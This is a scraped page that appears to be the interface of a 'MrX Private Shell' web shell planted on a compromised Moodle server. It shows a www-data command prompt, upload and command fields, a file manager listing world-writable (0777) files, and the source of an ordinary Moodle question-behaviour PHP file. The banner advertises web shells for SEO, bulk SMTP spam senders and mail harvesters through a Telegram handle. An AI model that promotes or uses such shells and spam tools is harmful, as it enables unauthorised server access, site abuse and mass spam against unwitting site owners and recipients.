__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * This behaviour is for information items.
 *
 * @package    qbehaviour
 * @subpackage informationitem
 * @copyright  2009 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */


defined('MOODLE_INTERNAL') || die();


/**
 * Question behaviour informaiton items.
 *
 * For example for the 'Description' 'Question type'. There is no grade,
 * and the question type is marked complete the first time the user navigates
 * away from a page that contains that question.
 *
 * @copyright  2009 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class qbehaviour_informationitem extends question_behaviour {

    public function is_compatible_question(question_definition $question) {
        return true;
    }

    public function get_expected_data() {
        if ($this->qa->get_state() == question_state::$todo) {
            return array('seen' => PARAM_BOOL);
        }
        return parent::get_expected_data();
    }

    public function get_correct_response() {
        if ($this->qa->get_state() == question_state::$todo) {
            return array('seen' => 1);
        }
        return array();
    }

    public function adjust_display_options(question_display_options $options) {
        parent::adjust_display_options($options);

        $options->marks = question_display_options::HIDDEN;

        // At the moment, the code exists to process a manual comment on an
        // information item, but we don't display the UI unless there is already
        // a comment.
        if (!$this->qa->get_state()->is_commented()) {
            $options->manualcomment = question_display_options::HIDDEN;
        }
    }

    public function get_state_string($showcorrectness) {
        return '';
    }

    public function process_action(question_attempt_pending_step $pendingstep) {
        if ($pendingstep->has_behaviour_var('comment')) {
            return $this->process_comment($pendingstep);
        } else if ($pendingstep->has_behaviour_var('finish')) {
            return $this->process_finish($pendingstep);
        } else if ($pendingstep->has_behaviour_var('seen')) {
            return $this->process_seen($pendingstep);
        } else {
            return question_attempt::DISCARD;
        }
    }

    public function summarise_action(question_attempt_step $step) {
        if ($step->has_behaviour_var('comment')) {
            return $this->summarise_manual_comment($step);
        } else if ($step->has_behaviour_var('finish')) {
            return $this->summarise_finish($step);
        } else if ($step->has_behaviour_var('seen')) {
            return get_string('seen', 'qbehaviour_informationitem');
        }
        return $this->summarise_start($step);
    }

    public function process_comment(question_attempt_pending_step $pendingstep) {
        if ($pendingstep->has_behaviour_var('mark')) {
            throw new coding_exception('Information items cannot be graded.');
        }
        return parent::process_comment($pendingstep);
    }

    /**
     * Handle the 'finish' case of {@see process_action()}.
     *
     * @param question_attempt_pending_step $pendingstep step representing the action.
     * @return bool either {@see question_attempt::KEEP} or {@see question_attempt::DISCARD}.
     */
    public function process_finish(question_attempt_pending_step $pendingstep) {
        if ($this->qa->get_state()->is_finished()) {
            return question_attempt::DISCARD;
        }

        if (!$this->qa->get_state()->is_active()) {
            throw new coding_exception('It should be impossible for question_attempt ' . $this->qa->get_database_id() .
                    ' using ' . get_class($this) . " to receive a 'finish' action while not active. " .
                    'Failing with an error, rather than continuing and doing undefined processing, ' .
                    'so the bug can be identified.');
        }

        $pendingstep->set_state(question_state::$finished);
        return question_attempt::KEEP;
    }

    /**
     * Handle the 'seen' case of {@see process_action()}.
     *
     * @param question_attempt_pending_step $pendingstep step representing the action.
     * @return bool either {@see question_attempt::KEEP} or {@see question_attempt::DISCARD}.
     */
    public function process_seen(question_attempt_pending_step $pendingstep) {
        if ($this->qa->get_state()->is_finished()) {
            return question_attempt::DISCARD;
        }

        // Assert so we get a clear error message if the assumptions on which this code relies is invalid.
        if (!$this->qa->get_state()->is_active()) {
            throw new coding_exception('It should be impossible for question_attempt ' . $this->qa->get_database_id() .
                    ' using ' . get_class($this) . " to receive a 'seen' action while not active. " .
                    'Failing with an error, rather than continuing and doing undefined processing, ' .
                    'so the bug can be identified.');
        }

        $pendingstep->set_state(question_state::$complete);
        return question_attempt::KEEP;
    }
}

Filemanager

Name Type Size Permission Actions
classes Folder 0777
lang Folder 0777
tests Folder 0777
behaviour.php File 5.74 KB 0777
behaviourtype.php File 1.19 KB 0777
renderer.php File 1.66 KB 0777
version.php File 1.1 KB 0777
Filemanager